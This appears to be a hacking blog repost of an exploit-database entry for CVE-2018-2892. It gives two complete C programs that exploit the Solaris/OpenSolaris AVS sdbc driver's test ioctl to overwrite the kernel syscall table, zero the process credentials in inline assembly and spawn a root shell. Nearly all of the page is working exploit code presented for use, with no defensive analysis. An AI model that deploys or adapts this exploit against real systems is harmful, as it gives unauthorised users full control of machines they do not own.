Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396043

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
# Exploit Title: Solaris/OpenSolaris AVS kernel code execution
# Google Dork: [if applicable]
# Date: 24/7/2018
# Exploit Author: mu-b
# Vendor Homepage: oracle.com
# Software Link:
# Version: Solaris 10, Solaris <= 11.3
# Tested on: Solaris 11.X, OpenSolaris
# CVE : CVE-2018-2892

http://digit-labs.org/files/exploits/sdbc-testinit.c
http://digit-labs.org/files/exploits/sdbc-testinit-v2.c

a few more added to digit-labs as well, old irix-espd remote root for 
irix as well.

/* sdbc-testinit.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Sun Opensolaris <= snv_104 local kernel root exploit
 * by mu-b - Sun 21 Dec 2008
 *
 * $Id: sdbc-testinit.c 37 2018-07-23 20:08:39Z mu-b $
 *
 * - Tested on: Opensolaris snv_104 (i86pc)
 *
 * hmmm, this has gotta be test code!?%$!
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <libelf.h>
#include <string.h>
#include <stropts.h>
#include <sys/elf.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/syscall.h>
#include <unistd.h>

#define SDBC(a)         (('B'<<16)|('C'<<8)|(a))
#define SDBC_TEST_INIT  SDBC(5)

typedef struct _sdbc_ioctl32_s {
  unsigned int arg0;
  unsigned int arg1;
  unsigned int arg2;
  unsigned int arg3;
  unsigned int arg4;
  unsigned int magic;
  unsigned int ustatus;
  unsigned int pad[1];
} _sdbc_ioctl32_t;

typedef struct _sysent_s {
  char sy_narg;
#ifdef _LP64
  unsigned short sy_flags;
#else
  unsigned char sy_flags;
#endif
  int (*sy_call)();
  void *sy_lock;
  void *sy_callc;
} _sysent_t;

#ifdef _LP64
#define KTHREAD 0x16
#else
#define KTHREAD 0x10
#endif

#define XSTRINGY(a)     STRINGY(a)
#define STRINGY(a)      #a

int
pown_kernel (void)
{
  __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
            "mov 0xdc(%eax), %eax\n"
            "mov 0x14(%eax), %eax\n"
            "movl $0x0, 0x4(%eax)\n"
            "movl $0x0, 0xc(%eax)");
  return (0);
}

static void *
resolve_kernsymbl (char *name)
{
  Elf_Scn *scn = NULL;
  Elf *elf;
  void *r = NULL;
  int fd;

  fd = open ("/dev/ksyms", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening /dev/ksyms\n");
      return (NULL);
    }

  elf_version (EV_CURRENT);

  if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
    {
      fprintf (stderr, "elf_begin failed\n");
      goto done;
    }

  while ((scn = elf_nextscn (elf, scn)) != 0)
    {
      Elf32_Shdr *shdr;

      if ((shdr = elf32_getshdr (scn)) != 0)
        {
          if (shdr->sh_type == SHT_SYMTAB)
            {
              Elf_Data *data = NULL;

              if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
                continue;

              Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
              Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);

              for (; esym < lastsym; esym++)
                {
                  if (esym->st_value == 0 ||
                      (ELF32_ST_TYPE(esym->st_info) == STT_FUNC)) 
                    continue;

                  if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
                    {
                      r = (void *) esym->st_value;
                      goto done;
                    }
                }
            }
        }
    }

done:
  elf_end (elf);
  close (fd);

  return (r);
}

int
main (int argc, char **argv)
{
  void *devarrayp, *sysentp, *ptr, *target;
  _sdbc_ioctl32_t sdcp_ioctl;
  _sysent_t sysent;
  int devindx, fd, id, n, sysindx;

  printf ("Sun Opensolaris <= snv_104 local kernel root exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fd = open ("/dev/sdbc", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
      return (EXIT_FAILURE);
    }

  memset (&sysent, 0, sizeof (sysent));
  sysent.sy_narg = 0;
  sysent.sy_flags = 0;
  sysent.sy_call = pown_kernel;
  sysent.sy_lock = NULL;
  sysent.sy_callc = NULL;

  devarrayp = resolve_kernsymbl ("devarray");
  if (devarrayp == NULL)
    {
      fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
      return (EXIT_FAILURE);
    }
  
  sysentp = resolve_kernsymbl ("sysent");
  if (sysentp == NULL)
    {
      fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
      return (EXIT_FAILURE);
    }

  sysentp += 8; /* any ideas? */
  target = sysentp + 0x2C0;
  sysindx = ((int) target - (int) sysentp) / sizeof (sysent);
  devindx = ((char *) target - (char *) devarrayp) / 256;

  ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  if ((int) ptr == -1)
    {
      fprintf (stderr, "failed mmap\n");
      return (EXIT_FAILURE);
    }

  memset (ptr, 0, PAGESIZE);
  memcpy ((ptr + PAGESIZE) - sizeof (sysent), &sysent, sizeof (sysent));

  memset (&sdcp_ioctl, 0, sizeof (sdcp_ioctl));
  sdcp_ioctl.arg0 = (unsigned int) (ptr + PAGESIZE) - sizeof (sysent);
  sdcp_ioctl.arg1 = devindx;
  sdcp_ioctl.arg2 = sizeof (sysent) * 2;

  printf ("* devarray: 0x%08X, sysent: 0x%08X, target: 0x%08X\n", (int) devarrayp, (int) sysentp, (int) target);
  printf ("* devarray idx: %u\n", sdcp_ioctl.arg1);
  printf ("* sysent idx: %u\n", sysindx);

  printf ("\n* overwriting... ");
  n = ioctl (fd, SDBC_TEST_INIT, &sdcp_ioctl);
  printf ("done\n");

  printf ("\n* jumping... ");
  syscall (sysindx);
  printf ("done\n\n");

  id = getuid ();
  printf ("* getuid(): %d\n", id);
  if (id == 0)
    {
      printf ("+Wh00t\n\n");

      /* exec shell, for some reason execve doesn't work!?$! */
      system ("/bin/bash");
    }
  else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

  return (EXIT_SUCCESS);
}
*/

/* sdbc-testinit-v2.c
 *
 * Copyright (c) 2008-2017 by <mu-b@digit-labs.org>
 *
 * Sun Solaris <= 11.3 AVS local kernel root exploit
 * by mu-b - Tue 16 May 2017
 *
 * $Id: sdbc-testinit-v2.c 37 2018-07-23 20:08:39Z mu-b $
 *
 * - Tested on: Solaris 5.11 11.3 + AVS (i86pc)
 *              Opensolaris snv_104 + AVS (i86pc)
 *
 * hmmm, this has gotta be test code!?%$!
 *
 * This was originally found in OpenSolaris and later ported to Solaris with the
 * exception that we now have to exploit a signedness bug in the devarray index
 * parameter whereas previously it was unbounded! (see sdbc-testinit.c).
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <libelf.h>
#include <limits.h>
#include <string.h>
#include <stropts.h>
#include <sys/elf.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/syscall.h>
#include <unistd.h>

#define SDBC(a)         (('B'<<16)|('C'<<8)|(a))
#define SDBC_TEST_INIT  SDBC(5)

typedef struct _sdbc_ioctl {
  long arg0;
  long arg1;
  long arg2;
  long arg3;
  long arg4;
  long magic;
  long ustatus;
  long pad[1];
} _sdbc_ioctl_t;

typedef struct _sysent_s {
  char sy_narg;
#ifdef _LP64
  unsigned short sy_flags;
#else
  unsigned char sy_flags;
#endif
  int (*sy_call)();
  void *sy_lock;
  void *sy_callc;
} _sysent_t;

#ifdef _LP64
# define KTHREAD  0x18
#else
# define KTHREAD  0x10
#endif

#define XSTRINGY(a)     STRINGY(a)
#define STRINGY(a)      #a

int
pown_kernel (void)
{
#ifdef _LP64
  __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %rax\n"
            "mov 0x1c8(%rax), %rax\n"
            "movl $0x0, 0x4(%rax)\n"    /* kthread_t->t_cred->cr_uid */
            "movl $0x0, 0x8(%rax)\n"    /* kthread_t->t_cred->cr_gid */
            "movl $0x0, 0xc(%rax)\n"    /* kthread_t->t_cred->cr_ruid */
            "movl $0x0, 0x10(%rax)");   /* kthread_t->t_cred->cr_rgid */
#else
  __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
            "mov 0xdc(%eax), %eax\n"
            "mov 0x14(%eax), %eax\n"
            "movl $0x0, 0x4(%eax)\n"
            "movl $0x0, 0x8(%eax)\n"
            "movl $0x0, 0xc(%eax)\n"
            "movl $0x0, 0x10(%eax)");
#endif
  return (0);
}

static void *
resolve_kernsymbl (char *name)
{
  Elf_Scn *scn = NULL;
  Elf *elf;
  void *r = NULL;
  int fd;

  fd = open ("/dev/ksyms", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening /dev/ksyms\n");
      return (NULL);
    }

  elf_version (EV_CURRENT);

  if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
    {
      fprintf (stderr, "elf_begin failed\n");
      goto done;
    }

  while ((scn = elf_nextscn (elf, scn)) != 0)
    {
#ifdef _LP64
      Elf64_Shdr *shdr;
      if ((shdr = elf64_getshdr (scn)) != 0)
#else
      Elf32_Shdr *shdr;
      if ((shdr = elf32_getshdr (scn)) != 0)
#endif
        {
          if (shdr->sh_type == SHT_SYMTAB)
            {
              Elf_Data *data = NULL;

              if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
                continue;

#ifdef _LP64
              Elf64_Sym *esym = (Elf64_Sym *) data->d_buf;
              Elf64_Sym *lastsym = (Elf64_Sym *) ((char *) data->d_buf + data->d_size);
#else
              Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
              Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
#endif

              for (; esym < lastsym; esym++)
                {
                  if (esym->st_value == 0 ||
#ifdef _LP64
                      (ELF64_ST_TYPE(esym->st_info) == STT_FUNC)) 
#else
                      (ELF32_ST_TYPE(esym->st_info) == STT_FUNC)) 
#endif
                    continue;

                  if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
                    {
                      r = (void *) esym->st_value;
                      goto done;
                    }
                }
            }
        }
    }

done:
  elf_end (elf);
  close (fd);

  return (r);
}

int
main (int argc, char **argv)
{
  void *devarrayp, *sysentp, *ptr, *targetp;
  int align, fd, id, n, sysindx;
  _sdbc_ioctl_t sdbc_ioctl;
  _sysent_t sysent;
  long devindx;

  printf ("Sun (Open)Solaris <= 11.3 AVS local kernel root exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!\n\n");

  fd = open ("/dev/sdbc", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
      return (EXIT_FAILURE);
    }

  memset (&sysent, 0, sizeof (sysent));
  sysent.sy_narg = 0;
  sysent.sy_flags = 0;
  sysent.sy_call = pown_kernel;
  sysent.sy_lock = pown_kernel;
  sysent.sy_callc = pown_kernel;

  devarrayp = resolve_kernsymbl ("devarray");
  if (devarrayp == NULL)
    {
      fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
      return (EXIT_FAILURE);
    }

  sysentp = resolve_kernsymbl ("sysent");
  if (sysentp == NULL)
    {
      fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
      return (EXIT_FAILURE);
    }

  /* devarray elements are 256-bytes in size, so we can only write at an offset
   * aligned to devarrayp & 0xff */
  targetp = (void *) (((long) sysentp & ~0xFF) | ((long) devarrayp & 0xFF));
  targetp += 0x1700;
  sysindx = ((long) targetp - (long) sysentp) / sizeof (sysent);
  devindx = ((char *) targetp - (char *) devarrayp) / 256;
  devindx = (long) LONG_MIN + devindx;

  ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  if (ptr == (void *) -1)
    {
      fprintf (stderr, "failed mmap\n");
      return (EXIT_FAILURE);
    }

  memset (ptr, 0, PAGESIZE);

  align = ((long) sysentp & 0x0F) - ((long) devarrayp & 0x0F);
  if (align < 0)
    align = -align;
  memcpy ((ptr + PAGESIZE) - sizeof (sysent) - align, &sysent, sizeof (sysent));

  memset (&sdbc_ioctl, 0, sizeof (sdbc_ioctl));
  sdbc_ioctl.arg0 = (long) (ptr + PAGESIZE) - sizeof (sysent);
  sdbc_ioctl.arg1 = devindx;
  sdbc_ioctl.arg2 = sizeof (sysent) * 2;
#ifdef _LP64
  printf ("* devarray: 0x%016lX, sysent: 0x%016lX, target: 0x%016lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
  printf ("* devarray idx: %ld %016lX\n", devindx, devindx);
#else
  printf ("* devarray: 0x%08lX, sysent: 0x%08lX, target: 0x%08lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
  printf ("* devarray idx: %ld %08lX\n", devindx, devindx);
#endif
  printf ("* sysent idx: %u\n", sysindx);

  printf ("\n* overwriting... ");
  n = ioctl (fd, SDBC_TEST_INIT, &sdbc_ioctl);
  if (n != -1)
    {
      printf ("failed, ouch (%d)\n", n);
      return (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* jumping... ");
  syscall (sysindx);
  printf ("done\n");

  id = getuid ();
  printf ("* getuid(): %d\n", id);
  if (id == 0)
    {
      char *args[2] = { "/bin/sh", NULL };
      printf ("+Wh00t\n\n");

      execve (args[0], args, NULL);
    }
  else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

  return (EXIT_SUCCESS);
}